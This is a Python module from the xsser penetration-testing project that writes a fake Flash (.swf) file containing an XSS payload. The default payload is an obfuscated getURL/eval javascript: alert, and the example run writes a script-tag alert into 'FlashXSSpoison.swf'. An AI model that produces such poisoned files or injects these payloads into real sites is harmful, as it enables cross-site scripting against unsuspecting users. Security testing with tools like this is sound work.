flashxss.py 1.8 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. # vim: set expandtab tabstop=4 shiftwidth=4:
  4. """
  5. $Id$
  6. This file is part of the xsser project, http://xsser.03c8.net
  7. Copyright (c) 2011/2016 psy <epsylon@riseup.net>
  8. xsser is free software; you can redistribute it and/or modify it under
  9. the terms of the GNU General Public License as published by the Free
  10. Software Foundation version 3 of the License.
  11. xsser is distributed in the hope that it will be useful, but WITHOUT ANY
  12. WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
  13. FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
  14. details.
  15. You should have received a copy of the GNU General Public License along
  16. with xsser; if not, write to the Free Software Foundation, Inc., 51
  17. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  18. """
  19. import os
  20. class FlashInjections(object):
  21. def __init__(self, payload =''):
  22. self._payload = payload
  23. def flash_xss(self, filename, payload):
  24. """
  25. Create -fake- flash movie (.swf) with code XSS injected.
  26. """
  27. root, ext = os.path.splitext(filename)
  28. if ext.lower() in [".swf"]:
  29. f = open(filename, 'wb')
  30. user_payload = payload
  31. if not user_payload:
  32. user_payload = 'a="get";b="URL";c="javascript:";d="alert("XSS");void(0);";eval(a+b)(c+d);'
  33. if ext.lower() == ".swf":
  34. content = user_payload
  35. f.write(content)
  36. f.close()
  37. flash_results = "\nCode: "+ content + "\nFile: ", root + ext
  38. else:
  39. flash_results = "\nPlease select a filename with extension .swf"
  40. return flash_results
  41. if __name__ == '__main__':
  42. flash_xss_injection = FlashInjections('')
  43. print flash_xss_injection.flash_xss('FlashXSSpoison.swf' , "<script>alert('XSS')</script>")